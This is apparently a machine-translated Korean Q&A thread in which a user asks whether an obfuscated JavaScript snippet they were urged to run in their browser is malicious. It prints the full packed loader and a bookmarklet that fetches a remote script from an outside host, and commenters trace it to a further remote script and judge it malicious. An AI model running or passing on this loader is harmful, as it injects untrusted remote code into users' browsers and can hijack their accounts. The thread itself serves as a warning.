2013-04-09 2 views
1

어떤 사람이 내 브라우저에서 다음을 실행하라고 요구하고있다가 :하기 전에이 자바 스크립트 코드는 무엇을합니까? 악의적입니까?

eval(function(p,a,c,k,e,r) 
{ 
e=function(c) 
{ 
    return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36)) 
} 
; 
if(!''.replace(/^/,String)) 
{ 
    while(c--)r[e(c)]=k[c]||e(c); 
    k=[function(e) 
    { 
    return r[e] 
    } 
    ]; 
    e=function() 
    { 
    return'\\w+' 
    } 
    ; 
    c=1 
} 
; 
while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); 
return p 
} 
('1H(1A(p,a,c,k,e,r){e=1A(c){1B(c<a?\'\':e(1I(c/a)))+((c=c%a)>35?1C.1D(c+29):c.1J(36))};1E(!\'\'.1F(/^/,1C)){1G(c--)r[e(c)]=k[c]||e(c);k=[1A(e){1B r[e]}];e=1A(){1B\'\\\\w+\'};c=1};1G(c--)1E(k[c])p=p.1F(1K 1L(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);1B p}(\'f G="H%g%u%1%9%1%b%b%c%1%I%J%1%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%v%1%9%u%1%1%1%1%K%L%M%N%O/P%1%3%1%1%1%1%1%1%1%1%1%1%1%d%7%3%3%1%1%1%1%1%1%1%1%1%1%1%h%1%9%j%3%1%1%1%1%1%1%1%1%1%1%1%7%w%x%j%c%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%Q%R%e%4%5%1%1%1%1%1%1%S%T%U%V%W%X%Y%Z%1%1%1%1%1%1%1%1%1%1%1%1%3%1%1%1%1%1%1%1%1%1%1%1%d%7%3%3%1%1%1%1%1%1%1%1%1%1%1%7%8%x%j%c%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%8%1%9%y%k/10%3%1%1%1%1%1%1%1%1%1%1%1%d%7%3%1%1%1%1%1%1%1%1%1%1%1%7%8/6/l%a%4%5%11%g%m%1%9%1%n%b%c%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%z/6%a%4%5/12/o%e%4%5%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%z/6%a%4%5/13/o%e%4%5%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%8/6%a%4%5/o%e%4%5%3%1%1%1%1%1%1%1%1%1%1%1%A%m%1%9%1%n%b%c%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%7%8/6/l%e%n%b%4%5%c%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%8/6/14%B/6%a%4%5%4%5%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%8/6/C%a%4%5%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%d%7%3%1%1%1%1%1%1%1%1%1%1%1%A%g%8/6/l%a%4%5%c%3%1%1%1%1%1%1%1%1%1%1%1%1%1%1%1%8/6/C%15%k/16%a%4%5%4%5%3%1%1%1%1%1%1%1%1%1%1%1%d%7%3%1%1%1%1%1%1%1%1%1%1%1%h%1%9%y%k/17/18%19%D%w%4%5%3%1%1%1%1%1%1%1%1%1%1%1%h/1a%B%D%m%4%5%3%1%1%1%1%1%1%1%1b%E%1c%1d%3%1%1%1%1%1%1%1%1%1%1%1%1e%E%3%1%1%1%1%1%1%1%1f%3%1%1%1%1%1%1%1%1%1%1%1%v%1%9%1%b%b%3%1%1%1%1%1%1%1%d%1g";f p="1h--1i/1j,1k`q,1l-1m/1n,1o";r="";s="";f t;t=p.1p;1q(i=0;i<t;i++){r+=1r.1s(p.1t(i)^2)}s=1u(r);F.1v.1w(F.1x(\\\'1y\\\')).1z=s;\',1M,1N,\'|1O||1P|1Q|1R|1S|1T|1U|1V|1W|1X|1Y|1Z|20|21|22|23||24|25|26|27|28|2a|2b||2c|2d|2e|2f|2g|2h|2i|2j|2k|2l|2m|2n|2o|2p|2q|2r|2s|2t|2u|2v|2w|2x|2y|2z|2A|2B|2C|2D|2E|2F|2G|2H|2I|2J|2K|2L|2M|2N|2O|2P|2Q|2R|2S|2T|2U|2V|2W|2X|2Y|2Z|30|31|32|33|34|37|38|39|3a|3b|3c|3d|1C|1D|3e|3f|3g|3h|3i|3j|3k\'.3l(\'|\'),0,{}))',62,208,'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||function|return|String|fromCharCode|if|replace|while|eval|parseInt|toString|new|RegExp|62|98|2631|261B|263|3A|Ubcmft|2631Jg|2631et|264E|2639ubcmfobnf|2633|2631Uifo|2631Foe|2639|var|2631Opu|2631eb|2631Opuijoh|2631Ebub|Dpoubjot|2631ubcmfobnf|2633SFQPSU||Dmfbs|enkripsi|teks|teksasli|panjang|2631rsztus|2631rsz|2631do|2631Jt|2631Ofx|2638et|2631FmtfJg|2639et|Bee|263D|2631fy|document|thisisthemainstringofThisScript|Jg|2638fyqmjdju|2631wbsjbcmf|2638bttjho|2631rvfsz|2631tusjoh|2631up|2631dpoofdu|rsz|2631Dbmm|2631joj|2638jg|2631DPOOFDUJPO|2631opu|2631jojujbmj|7Bfe|2631uifo|2631ep|2631ju|EbubTfu|2631Boe|Spxt|Dpmvnot|Sfnpwf|2639Ofx|EbubUbcmf|PmfEc|PmfEcEbubBebqufs|2639rsz|Gjmm|2631Dbudi|2631Bt|2631Fydfqujpo|2631Uispx|2631Gjobmmz|2631Usz1|jvvr8|hkeq|apgcvkmlq|||ug|amo|epmwr|cffgp|hq|length|for|charCodeAt|unescape|body|appendChild|createElement|script|src|split'.split('|'),0, 
{ 
} 
)) 

: 나는 그것을보고하는 new2.js 파일을 다운로드

javascript:(function(){document.body.appendChild(document.createElement('script')).src='http://xyz.com/new2.js';})(); 

, 다음을 포함 그것을 사용하면 브라우저에서 악의적 인 코드를 실행하고있는 경우에 대비하여 어떤 기능이 있는지 알아볼 수 있습니다. 무슨 일이 일어나는지 어떻게 해독합니까? 나는 자바 스크립트에 익숙하지만,이 것을 이해할 수는 없다.

+3

당신이하는 일을 모르고 그 사람을 믿지 않는다면 해결책은 간단합니다.하지 마십시오. –

+0

이 코드는 packer라는 obfuscater를 사용하여 코드를 축소 한 것처럼 보입니다. (tell bit :'function (p, a, c, k, e, r)'하지만 확실하지는 않습니다. 일반적으로 첫 번째 평가판을 console.log로 대체하면 어떤 코드가 실행되는지 확인할 수 있습니다. JS에 익숙하다면 추천하지 않습니다. 일반적인 규칙은 이메일 첨부와 동일합니다. 발신자 또는 그 사람이 무엇인지 완전히 신뢰하지 않습니까? 그것을 시도조차하지 마십시오. –

+0

여기 코드를 실행하면 : http://deobfuscatejavascript.com 그리고 난독성 코드의 마지막 줄을'document.write'로 대체하면이 전체 스크립트가'http://jigs-creations.webs.com/ '에서 다른 스크립트를 호출 함을 알 수 있습니다 group-adder.js' – Antony

답변

1

this question와 같은 스크립트입니다. 거기에 응답 한 사람들은 악의적 인 코드라는 결론에 도달 했으므로 실행하지 않는 것이 좋습니다.

수정 동일한 코드가 아니며 일부분을 공유합니다. 그럼에도 불구하고, 그것은 여전히 ​​악의적입니다.

-2

가상 머신이나 일종의 샌드 박스에서 실행하거나 jsfiddle과 같은 온라인 자바 스크립트 애플리케이션을 사용해보십시오.

악의적 인 코드는 일반적으로이 횡설수설에 코드화되어 실제로 무엇을하는지 명확하게 보여주지 않습니다.

+1

jsFiddle에서 실행하지 말 것을 권합니다. 코드가 실제로 무엇을하는지에 따라 브라우저에서 실행하거나 jsFiddle을 사용하여 실행하는 것과 별 차이가 없습니다. –